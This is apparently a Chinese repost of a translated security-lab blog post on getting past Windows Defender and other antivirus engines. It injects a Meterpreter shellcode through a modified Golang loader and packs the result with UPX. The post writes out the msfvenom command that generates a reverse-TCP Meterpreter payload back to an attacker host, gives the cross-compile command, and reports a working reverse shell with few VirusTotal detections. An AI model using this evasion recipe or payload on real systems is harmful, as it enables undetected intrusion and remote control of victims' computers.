使用Golang绕过AV

  • A+
所属分类:安全文章

    在此文章中,将详细介绍一个很酷的小技巧,它涉及如何绕过大多数防病毒产品以在目标主机上获得Metepreter反向shell.


    这一切始于遇到用Golang编写的Github存储库时,该存储库在执行时会将shellcode注入正在运行的进程中.

https://github.com/brimstone/go-shellcode

    通过简单地使用msfvenom生成有效负载,我们对其进行了测试,发现Windows Defender可以轻松检测到该有效负载.Meterpreter有效负载生成如下:

msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = xxxx LPORT = xxx -b  x00 -f hex

    使用Go进行本实验的好处是,可以将其从Linux主机交叉编译为目标Windows主机.编译应用程序的命令是:

GOOS=windows GOARCH=amd64 go build

    这将产生一个Go exe文件,该文件将在命令行中与攻击者想要注入的shellcode一起执行.


    这很容易检测到,Windows Defender毫无困难地将其识别为Meterpreter.为了快速,轻松地绕过,我们尝试使用UPX暴力破解可执行文件,将其重复压缩8次.Windows Defender再次抓住了它,这里也没有运气.

使用Golang绕过AV    尝试使用shellcode作为参数运行Go exe文件.

    如常所愿,Windows Defender可以轻松检测到它.然后,我们尝试使用UPX压缩的sc.exe文件,该文件也无效.

使用Golang绕过AV

    当然,Windows Defender一旦检测到该进程,就会终止Meterpreter会话.

    从这里,检查了Go程序的源代码.经过一番回顾,发现可以修改main.go源文件以将shellcode作为变量然后进行编译–而不是编译.exe,然后将shellcode作为命令行参数添加.

使用Golang绕过AV

go-shellcode/cmd/sc/main.go source

使用Golang绕过AV

修改后的

go-shellcode/cmd/sc/main.go source

    其中对命令行参数的引用替换为已声明的变量.


    使用这些文件,编译了两个.exe文件,其中一个要在不使用UPX压缩的情况下进行测试,而另一个要在UPX压缩的情况下进行测试.Windows Defender触摸到磁盘后,便会立即检测到非压缩版本,但不会通过静态分析检测到UPX压缩的.exe.

使用Golang绕过AV

    Windows Defender立即检测到没有UPX压缩的.exe包含Meterpreter有效负载.


    但是,运行自定义UPX压缩的.exe文件成功,并且实现了反向Shell

使用Golang绕过AV

    成功运行UPX压缩的Go exe文件,并且在受害者的计算机上获得了反向外壳.


    让我们针对VT运行它,以检查其免杀能力.

使用Golang绕过AV

    将UPX压缩的Go exe文件上传到Virus Total.只有Cybereason和Cylance将该文件检测为恶意文件.


    只有两个防病毒引擎在该文件中发现有恶意负载,并且两个都没有指定上载到底是恶意的,只是它是恶意的.UPX压缩可能是触发警报的原因,因为UPX压缩可用于混淆恶意文件.

使用Golang绕过AV

    暴力模式下的UPX压缩将exe文件压缩8次.

原文翻译至

https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/

参考文章

https://github.com/brimstone/go-shellcodehttps://boyter.org/posts/trimming-golang-binary-fat/https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/

使用Golang绕过AV


本文始发于微信公众号(洛米唯熊):使用Golang绕过AV

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: